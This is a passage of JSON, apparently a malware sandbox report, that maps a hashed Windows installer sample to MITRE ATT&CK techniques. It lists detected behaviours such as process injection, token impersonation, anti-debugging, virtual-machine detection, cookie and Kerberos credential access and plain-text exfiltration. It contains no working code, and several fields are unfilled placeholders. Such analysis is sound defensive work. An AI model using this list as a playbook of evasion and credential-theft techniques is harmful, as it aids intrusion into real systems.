connection"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Installer Packages","attack_id":"T1546.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/016","identifiers":[{"type":"informative","value":"Attempts to launch the Installer package binary"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$25","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-2BB8I.tmp (UID: 00000000-00006300)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-0DA6D.tmp\\_isetup (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-0DA6D.tmp (UID: 00000000-00005220)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to detect presence of virtual environment (API string)","description":"Found reference to API \"SetupDiGetClassDevsA\" (Indicator: \"SetupDiGetClassDevs\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-253","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"Warning. OpenProcessToken failed, e=%d\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken FAILED (%d)\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to inject code into another process (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"HTCTL32.DLL\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"HTCTL32.DLL\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"Oid\"; File: \"TCCTL32.DLL\")\n Found reference to \"SnmpMgrStrToOid\" (Indicator: \"Oid\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to \"!\"Unable to continue\n no Aes server\"\" (Indicator: \"Aes\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to \"Rijndael\" (Indicator: \"Rijndael\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to \"SnmpUtilOidNCmp\" (Indicator: \"Oid\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to \"SnmpUtilOidCpy\" (Indicator: \"Oid\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to \".?AVCEncryptRijndael@@\" (Indicator: \"Rijndael\"; Source: \"00000000-00001628.00000001.107910.111DD000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005220.00000000.103022.00B57000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"client32.exe\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 6DC90000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$2b","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".data\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$2d","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2e","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptGetProvParam\" (Indicator: \"CryptGetProvParam\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"%PROGRAMFILES%\\(x86)\\Advanced IP Scanner\\msvcp140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005220-00000455-69658787142\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"Found string \"Percentage\tResponses8Invalid characters(s): , ; | < > ! $ % ^ & * { } # ~ + =\" (Indicator: \" ^ \"; Source: \"00000000-00001628.00000001.107910.111F2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$30","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"$31","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007184-00000C2B-638416629\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007184-00000C2B-639513386\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3F709462-4AD7-482F-8761-C6ED6AD145A1}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"TCCTL32.DLL\")\n file/memory contains long string with (Indicator: \"getusergeoid\"; File: \"is-8RP4Q.tmp\")\n file/memory contains long string with (Indicator: \"getgeoinfo\"; File: \"is-8RP4Q.tmp\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetTickCount\" with parameters (UID: 00000000-00005220)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007184)\n \"powershell.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00007184)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006300)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00006300)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"QueryPerformanceCounter\" (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetDiskFreeSpaceExW\" with parameters (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"EnumDisplayMonitors\" with parameters (UID: 00000000-00005220)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006300)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetForegroundWindow\" (UID: 00000000-00005220)\n \"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007184)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"7184\" - (UID: 00000000-00007184)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"EnumWindows\" with parameter \"16118696\" - (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"EnumWindows\" with parameter \"16119264\" - (UID: 